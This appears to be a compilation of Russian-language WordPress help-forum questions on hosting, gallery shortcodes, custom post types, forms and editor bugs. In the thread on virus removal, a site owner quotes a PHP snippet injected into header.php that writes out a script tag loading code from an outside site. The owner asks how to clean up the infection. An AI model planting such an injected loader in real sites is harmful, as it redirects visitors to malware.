Насколько бесплатен WordPress?
На одном сайте нашла такую фразу "WordPress бесплатен для закачки и использования. Но, чтобы использовать WordPress в сети, вам понадобится WordPress хостинг. Вы можете использовать WordPress.com, чтобы создать бесплатный блог, но знайте, что разница есть между WordPress и WordPress.com. Стоимость использования WordPress относительно минимальная и справедлива. Единственная серьезная стоимость — хостинг и домен."
То есть, получается WordPress бесплатен только если его на определенном хостинге использовать? Или же можно пользоваться и другими хостингами (например, хостингер.ру с доменом tk)? Сайт ориентирован на Германию, а там с авторскими правами все очень строго, так что хотелось бы заранее разобраться со всеми нюансами.
Заранее спасибо за ответ.
Можно ли картинки загружать по урлу
Подскажите,
есть какие расширения, с помощью который можно картинки загружать по урлу как в статьях так и в графических библиотеках ?
Спасибо!
Обнаружение и удаление вирусов
Наверняка подобные вопросы уже обсуждались, но сожалению не увидел опции поиска на этом форуме…
Проблема в следующем – недавно Гугл прислал уведомление о том, что мой сайт на WP перенаправляет посетителей на сайт, содержащий вредоносное ПО, соответственно и мой сайт получил "черную метку от Гугла".
На сайте стоит антивирусный плагин WP Antivirus Site Protection, но сканирование результатов не дало. Вручную просмотрев шаблоны обнаружил в header.php подозрительный скрипт с какой-то левой ссылкой:
$yslq = "<script type=\"text/javascript\" src=\"http://www.czechwines.cz/lide/osoby/twxyqgwj.php?id=649925\"></script>";
<?php
#7f3f8c#
if(empty($yslq)) {
echo $yslq;
}
#/7f3f8c#
?>
Удалил эту бяку, поменял пароль к админке, отписался в Гугл и метку сняли. Однако, по прошествии недели опять пришло письмо от Гугла! Каково было удивление, когда на том же самом месте нашел тот же скрипт, только со ссылкой на другой сайт.
Скрипт удалил, поменял еще и пароль к ФТП (хотя был он довольно сложный), но остаются опасения, что где-то сидит еще какой-то хитрый скрипт, периодически оживляющий эти ссылки.
Вопрос к специалистам: что можно сделать? Готов оплатить реальную помощь.
установил NextGEN Gallery без шорткодов
Всем привет,
В WordPress 4.2.2 с активной Compose WP темой.
установил и активировал плагин NextGEN Gallery by Photocrati, Version 2.1.0
Сами галлереи работаю но не работают шорткоды
Вставка в встраницу кода вроде
[ngg_images gallery_ids="1" display_type="photocrati-nextgen_basic_slideshow" exclusions="4,6" gallery_width="600" gallery_height="400"]
никчему не приводят – ничего не отображается при этом галлерея с ID= 1 существует
Также на странице добавления поста должны быть кнопка "shortcodes" и зеленая картинка указывающая на наличие установленного плагина NextGEN Gallery
- но их нет В в настройках порылся – никаких настроек для шорткодов не нашел
Я что-то еще недоставил/недонастроил?
двойные страницы на фронтнеде
Всем привет,
В WP 4.2 проекте обнаружил, что если в таблице wp_posts есть 2 одинаковые строки(страницы) то на фронтенде на странице эта статья отображается 2ы,
включая 2 блока "Leave a Reply" .
Я нашел на способ использование в functions.php кода
function search_distinct() {
return "DISTINCT";
}
add_filter('posts_distinct', 'search_distinct');
приводит к запросу
SELECT DISTINCT wp_posts.*
FROM wp_posts
WHERE 1=1 AND wp_posts.post_name = 'demis-roussos' AND wp_posts.post_type = 'artists_songs'
ORDER BY wp_posts.post_date DESC
И выводит 2 строки – так как ID все-таки разные. Одинаковы все остальные поля, включая post_name.
Такое возможно при програмном заполнении данных. Как это побороть на фронтенде?
Я нашел несколько плагинов для отображения схожих статей (вроде Yuzo ̵ ̵ ̵ Related Posts)…
Мне нужно иное – искать ошибочные дупликаты и предлогать удалять копии. Есть ли что для этого ?
NextGEN Gallery генерит Invalid display type
Привет,
В WP 4.2 я использую NextGEN Gallery by Photocrati Version 2.1.0
В страницу вставляю шорткод
[ngg_images gallery_ids="1" display_type="photocrati-nextgen_basic_slideshow" exclusions="4,6" ]
gallery_id = 1 в базе существует
как и описано тут http://www.nextgen-gallery.com/nextgen-gallery-shortcodes/ и получаю ошибку
что не может вывести галлерея
Установив режим отладки м вижу ссобщение Invalid display type’
Я порылся в коде и нашел вывод валидацииC_Displayed_Gallery Object :
$this->object->display_type::C_Displayed_Gallery Object
(
[_mapper_interface] => I_Displayed_Gallery_Mapper
[_mapper] => C_Displayed_Gallery_Mapper Object
(
[_query_args] => Array
(
)
[_primary_key_column] => ID
[_use_cache] => 1
[_object_name] => displayed_gallery
[_model_factory_method] => displayed_gallery
[_columns] => Array
(
)
[_table_columns] => Array
(
[0] => ID
[1] => post_author
[2] => post_date
[3] => post_date_gmt
[4] => post_content
[5] => post_title
[6] => post_excerpt
[7] => post_status
[8] => comment_status
[9] => ping_status
[10] => post_password
[11] => post_name
[12] => to_ping
[13] => pinged
[14] => post_modified
[15] => post_modified_gmt
[16] => post_content_filtered
[17] => post_parent
[18] => guid
[19] => menu_order
[20] => post_type
[21] => post_mime_type
[22] => comment_count
)
[_serialized_columns] => Array
(
)
[context] => Array
(
[0] =>
[1] => displayed_gallery
[2] => display_gallery
)
[adapted] => 1
[_mixins] => Array
(
[Mixin_DataMapper_Driver_Base] => Mixin_DataMapper_Driver_Base Object
(
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[method_called] =>
)
[Mixin_CustomPost_DataMapper_Driver] =>
[Mixin_Displayed_Gallery_Defaults] => Mixin_Displayed_Gallery_Defaults Object
(
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[method_called] =>
)
)
[_mixin_priorities] => Array
(
[0] => Mixin_Displayed_Gallery_Defaults
[1] => Mixin_CustomPost_DataMapper_Driver
[2] => Mixin_DataMapper_Driver_Base
)
[_method_map_cache] => Array
(
[set_defaults] => Mixin_Displayed_Gallery_Defaults
[get_display_type] => Mixin_Displayed_Gallery_Defaults
[_set_default_value] => Mixin_DataMapper_Driver_Base
)
[_disabled_map] => Array
(
)
[_interfaces] => Array
(
[0] => I_Component
[1] => I_DataMapper_Driver
[2] => I_CustomPost_DataMapper
[3] => I_Displayed_Gallery_Mapper
)
[_throw_error] => 1
[_wrapped_instance] =>
[object] => C_Displayed_Gallery_Mapper Object
*RECURSION*
[_cache] => Array
(
)
)
[_stdObject] => stdClass Object
(
[id] =>
[source] =>
[container_ids] => Array
(
)
[gallery_ids] =>
[album_ids] => Array
(
)
[tag_ids] => Array
(
)
[display_type] =>
[exclusions] => Array
(
)
[order_by] => sortorder
[order_direction] => ASC
[image_ids] => Array
(
)
[entity_ids] => Array
(
)
[tagcloud] =>
[inner_content] =>
[returns] => included
[slug] =>
[display_settings] => Array
(
)
[excluded_container_ids] => Array
(
)
[sortorder] => Array
(
)
[maximum_entity_count] => 500
[__defaults_set] => 1
[_errors] => Array
(
[source] => Array
(
[0] => source should be present
)
[display_type] => Array
(
[0] => display_type should be present
)
)
)
[context] =>
[adapted] => 1
[_mixins] => Array
(
[Mixin_Validation] => Mixin_Validation Object
(
[_default_msgs] => Array
(
[validates_presence_of] => %s should be present
[validates_presence_with] => %s should be present with %s
[validates_uniqueness_of] => %s should be unique
[validates_confirmation_of] => %s should match confirmation
[validates_exclusion_of] => %s is reserved
[validates_format_of] => %s is invalid
[validates_inclusion_of] => %s is not included in the list
[validates_numericality_of] => %s is not numeric
[validates_less_than] => %s is too small
[validates_greater_than] => %s is too large
[validates_equals] => %s is invalid
)
[_default_patterns] => Array
(
[email_address] => //
)
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_DataMapper_Model_Instance_Methods] =>
[Mixin_DataMapper_Model_Validation] =>
[Mixin_Displayed_Gallery_Validation] => Mixin_Displayed_Gallery_Validation Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_Displayed_Gallery_Instance_Methods] => Mixin_Displayed_Gallery_Instance_Methods Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[Mixin_Displayed_Gallery_Queries] => Mixin_Displayed_Gallery_Queries Object
(
[object] => C_Displayed_Gallery Object
*RECURSION*
[method_called] =>
)
[A_I18N_Displayed_Gallery_Translation] =>
)
[_mixin_priorities] => Array
(
[0] => A_I18N_Displayed_Gallery_Translation
[1] => Mixin_Displayed_Gallery_Queries
[2] => Mixin_Displayed_Gallery_Instance_Methods
[3] => Mixin_Displayed_Gallery_Validation
[4] => Mixin_DataMapper_Model_Validation
[5] => Mixin_DataMapper_Model_Instance_Methods
[6] => Mixin_Validation
)
[_method_map_cache] => Array
(
[select_random_variation] => Mixin_Displayed_Gallery_Queries
[get_source] => Mixin_Displayed_Gallery_Instance_Methods
[validate] => Mixin_Validation
[validation] => Mixin_Displayed_Gallery_Validation
[validates_presence_of] => Mixin_Validation
[get_display_type] => Mixin_Displayed_Gallery_Instance_Methods
)
[_disabled_map] => Array
(
)
[_interfaces] => Array
(
[0] => I_Component
[1] => I_DataMapper_Model
[2] => I_Displayed_Gallery
)
[_throw_error] => 1
[_wrapped_instance] =>
[object] => C_Displayed_Gallery Object
*RECURSION*
)
Видно что display_type имеет пустое значение
Не подскажите это ошибка в определении галлереи ? – но я делал как в доке…
Ошибка при открытии сайта
Добрый день
ошибка при открытии сайта под администратором
ОШИБКА: Cookies заблокированы из-за неожиданного вывода на экран. Посмотрите документацию или обратитесь за помощью на форумы поддержки.
Пробовал через ftp удалять папку wp-content/plugins пробовал помещать в эту папку плагины по одному ничего не помогло если есть у кого подробное решение данной проблемы просьба сообщить.
Спасибо.
Galaxy_v17 – ошибка после обновления ВП
Добрый день!
Можете подсказать в чём дело?
У меня была тема Вордпресс с кастомизацией. тема с кастомизацией и мультиюзерами – Galaxy_v17
После обновления – если заходишь во Внешний вид–>Настроить – первую секунду появляется мое старое меню с настройками, потом моргает и появляется стандартное меню вордпресса, где нет настроек моей темы. Как это убрать? Я не могу пользоваться настройками темы – а мне надо. Как сделать, чтобы настройки темы все время оставались?
То есть как только заходишь во Внешний вид–Настроить – вижу – http://joxi.ru/eAO1nyBcVvdPmo, через секунду – моргает и вижу – http://joxi.ru/4Akek15tDjYzmq, то есть настроить никак не могу. У других тем – все ок, то есть настройки остаются, не убегают. В чем дело, что поправить?
Заранее спасибо!
Ну или как это можно отловить – на каких строчках кода происходит эта ошибка- переключение?
в register_activation_hook польовательский тип
Всем привет,
В WP 4.2 проекте создаю плагин и в register_activation_hook запускаю процедуру для создания таблиц с инициализирующими данными.
Также я создаю в wp-content/themes/mytheme/functions.php новый тип поста и категорию с помощью функций
register_post_type и register_taxonomy, что-то вроде :
require(ABSPATH."wp-admin/includes/plugin.php");
$artistssongsPluginPath= 'artistssongs/artists-songs-plugin.php';
if( is_plugin_active( $artistssongsPluginPath ) ) { // pluging artistssongs must be installed
if ( ! function_exists( 'artists_songs_cp' ) ) {
function artists_songs_cp() {
$labels = array(
'name' => _x( 'Artists&Songs', 'Post Type General Name', 'artists_songs' ),
...
'not_found_in_trash' => __( 'Not found in trash', 'artists_songs' ),
);
$args = array(
'labels' => $labels,
'supports' => array( 'title', 'editor', 'excerpt', ),
'taxonomies' => array( 'artists_songs_tax' ), // categories, which will be created below.
...
);
register_post_type( 'artists_songs', $args );
}
add_action( 'init', 'artists_songs_cp', 0 ); // init artists_songs type
}
if ( ! function_exists( 'artists_songs_tax' ) ) {
function artists_songs_tax() { // categories for type above
$labels = array(
'name'=> _x( 'Category Artists&Songs', 'Taxonomy General Name', 'artists_songs' ),
...
'not_found'=> __( 'Not found', 'artists_songs' ),
);
$args = array(
'labels' => $labels,
'hierarchical' => true,
'public' => true,
);
register_taxonomy( 'artists_songs_tax', array( 'artists_songs' ), $args );
}
add_action( 'init', 'artists_songs_tax', 0 ); // init categories
я ставлю проверку с помощью is_plugin_active для того, чтобы эти типы данных создавались только, если мой плагин активирован.
Сложность в том что при создании инициализирующих данных в register_activation_hook мне нужно уже иметь польовательские типы, но они еще не созданы…
Не подскажите, как обойти эту коллизию ?
Редирект на страницу благодарности
Здравствуйте!
Подскажите пожалуйста, как сделать Редирект на страницу благодарности после заполнения контактной формы, созданной с помощью плагина Contact Form 7?
Вывод тегов в порядке добавления?
Заметил, что теги WordPress сохраняются в базе не в порядке добавления, а по какой-то своей логике. Соответсвенно, теги конкретного поста выводятся тоже иначе, чем вбивал пользователь. А что делать в ситуациях, когда важна последовательность задания тегов и их вывода в том же порядке?
Нужна помощь по настройке FeedBurner.
Друзья прошу помогите! У меня установлен Фид через сервис FeedBurner. С начало подписчики регистрировались без проблем но последнее время не могут подписаться. Появляется сообщение: "The feed does not have subscriptions by email enabled"(Корм не имеет подписки по электронной почте с поддержкой). Кто знает, подскажите? За ранее благодарен. (Если можно, не "за мудреным языком", я новичок.)
Вывод прикрепленных картинок к посту.
Здравствуйте, ребята.
Нужна помощь знающих людей.
Делаю галерею на сайте и для вывода прикрепленных картинок использую следующий код:
<?php $args = array(
'post_type' => 'attachment',
'numberposts' => null,
'post_status' => null,
'order' => 'ASC',
'post_parent' => $post->ID
);
$attachments = get_posts($args); ?>
<?php
if( count($attachments) > 1 ) { ?>
<div id="post_thumbs">
<?php $featured_image = get_post_thumbnail_id(get_the_ID());
foreach ($attachments as $attachment) {
if ($featured_image != ($attachment->ID)) { ?>
<a href="<?php echo wp_get_attachment_url($attachment->ID); ?>" class="fancybox" data-fancybox-group="gallery">
<?php echo wp_get_attachment_image( $attachment->ID, 'thumbnail' ); ?>
</a>
<?php } } } ?>
Сам код работает отлично, но возникла необходимость выводить первые 5 картинок в другом размере (medium) – все никак не получается.
Понимаю, что код выводит картинки тогда, когда есть более 1 прикрепленной, но как модифицыровать под свои нужды не мойму.
В интернете есть инфа как вывести или все файлы или отдельные типы файлов, а вот как сделать разные размеры – я не нашел.
Помогите, пожалуйста.
Не правильная настройка категории
Добрый день. Увидел некую проблему на сайте.
Есть категория http://pandora5.ru/news
В ней почему то настойки не такие, как на остальном сайте. И я не могу найти, где это поменять.
Например, на самой странице в админке прописаны мета теги, но в браузере их уже нет.
Также есть 301 редирект с этой же страницы на саму себя, опять же я его не делал и не знаю откуда он взялся.
Страницы в ней и ссылки в меню закрыты в нофолоу, опять же не делал этого.
Подскажите, где искать эти проблемы, в каком файле? И почему оно вообще так?
Обновился до 4.2, возникла проблема
Добрый день. Обновил на днях сайт до wp 4.2
Все отлично встало без ошибок, все плагины работают.
Но возникли некоторые проблемы при изменении страницы в редакторе:
- раньше был скролинг текста в окне редактора, сейчас его нет
- не переходит на вкладку "текст", где правиться код страницы
- не работает кнопка добавления гиперссылки
Это только то, что я уже хотел сделать и не получилось. Может и другие проблемы с редактором есть.
Подскажите, пожалуйста, у кого нибудь выскакивала данная проблема? Как решить?
нужна помощь по запросам к БД
всем привет
очень нужна помощь по sql-запросам
запросам составленным без объекта $wpdb или тому подобного…
нужны рукопашные запросы привычными SELECT … FROM … и т.д.
что-то не нашел их в самом движке…
нужен хелп!